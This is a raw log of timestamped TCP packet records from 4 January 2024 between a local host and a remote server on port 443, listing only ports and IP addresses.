Jan 4, 2024 08:37:17.883846045 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.883881092 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.883886099 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.883903980 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.884232044 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.884246111 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.884299040 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.884303093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.884324074 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.884614944 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.884628057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.884661913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.884668112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.884685040 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.885060072 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.885078907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.885106087 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.885118961 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.885130882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.885488987 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.885515928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.885549068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.885560036 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.885570049 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.885965109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.885987997 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.886009932 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.886018038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.886037111 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.886367083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.886384010 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.886414051 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.886418104 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.886440039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.887315989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.887336016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.887383938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.887391090 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.887415886 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.887769938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.887784958 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.887816906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.887821913 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.887847900 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.888336897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.888356924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.888391018 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.888396025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.888413906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.888858080 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.888887882 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.888906002 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.888920069 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.888936996 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.889226913 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.889250994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.889281034 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.889286995 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.889297009 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.889950037 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.889966965 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.889997005 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.890001059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.890032053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.890516043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.890533924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.890561104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.890564919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.890588045 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.891216040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.891228914 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.891277075 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.891283035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.891304970 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.891658068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.891678095 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.891704082 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.891709089 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.891738892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.892308950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.892337084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.892394066 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.892404079 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.892925024 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.892942905 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.892976999 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.892982006 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.893002033 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.893351078 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.893363953 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.893397093 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.893400908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.893426895 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.893706083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.893723965 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.893754959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.893759012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.893780947 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.894217968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.894249916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.894270897 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.894275904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.894295931 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.894824982 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.894851923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.894876003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.894881010 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.894908905 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.895198107 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.895212889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.895246983 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.895251989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.895273924 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.895742893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.895761013 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.895792007 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.895798922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.895809889 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.896044016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.896058083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.896095991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.896101952 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.896131992 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.896411896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.896449089 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.896461964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.896466017 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.896492958 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.896831036 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.896845102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.896879911 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.896883965 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.896908045 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.897110939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.897130966 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.897181988 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.897186041 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.897207022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.897475004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.897501945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.897530079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.897533894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.897552013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.897891998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.897912025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.897938013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.897943974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.897964954 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.898410082 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.898423910 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.898457050 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.898462057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.898505926 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.898829937 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.898849964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.898880005 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.898885012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.898904085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.899194956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.899209976 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.899269104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.899269104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.899275064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.899525881 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.899550915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.899576902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.899581909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.899595022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.899873972 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.899888992 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.899925947 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.899931908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.899962902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.902035952 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.902055979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.902095079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.902100086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.902111053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.902487993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.902501106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.902554989 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.902560949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.903067112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.903085947 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.903121948 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.903127909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.903162003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.903584957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.903606892 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.903641939 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.903650999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.903670073 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.903970957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.903990030 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.904023886 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.904036999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.904041052 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.904350996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.904365063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.904402971 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.904407978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.904427052 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.904845953 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.904867887 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.904901981 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.904912949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.904918909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.905148029 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.905164003 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.905199051 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.905205011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.905225039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.905628920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.905648947 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.905719995 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.905719995 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.905725002 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906021118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906035900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906073093 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.906078100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906095028 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.906433105 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906452894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906485081 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.906495094 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906501055 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.906748056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906760931 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906795025 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.906799078 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.906821012 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.907382011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.907401085 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.907432079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.907438040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.907450914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.907660007 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.907676935 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.907718897 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.907726049 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.908286095 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.908319950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.908348083 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.908354044 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.908374071 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.908644915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.908668041 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.908691883 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.908696890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.908715963 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.909320116 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.909343958 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.909375906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.909380913 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.909401894 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.909619093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.909641981 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.909666061 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.909670115 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.909701109 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.910214901 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.910234928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.910265923 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.910269976 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.910288095 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.910600901 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.910618067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.910649061 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.910654068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.910679102 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.911134005 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.911154032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.911186934 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.911192894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.911214113 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.911591053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.911607027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.911647081 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.911650896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.911967039 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.911986113 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.912018061 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.912023067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.912034988 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.912297964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.912328005 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.912348986 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.912353039 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.912372112 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.912950993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.912971973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.913002014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.913006067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.913022995 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.913345098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.913358927 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.913400888 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.913405895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.913430929 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.914015055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.914035082 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.914064884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.914069891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.914103031 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.914330959 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.914344072 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.914387941 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.914392948 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.914417982 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.914779902 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.914797068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.914827108 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.914832115 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.914863110 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.915148973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.915163994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.915196896 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.915204048 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.915225029 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.915715933 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.915747881 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.915771961 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.915776968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.915788889 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.916106939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.916127920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.916155100 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.916160107 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.916176081 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.916749001 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.916768074 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.916796923 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.916801929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.916827917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.917311907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.917325974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.917359114 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.917363882 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.917381048 CET	49706	443	192.168.2.9	104.22.53.71
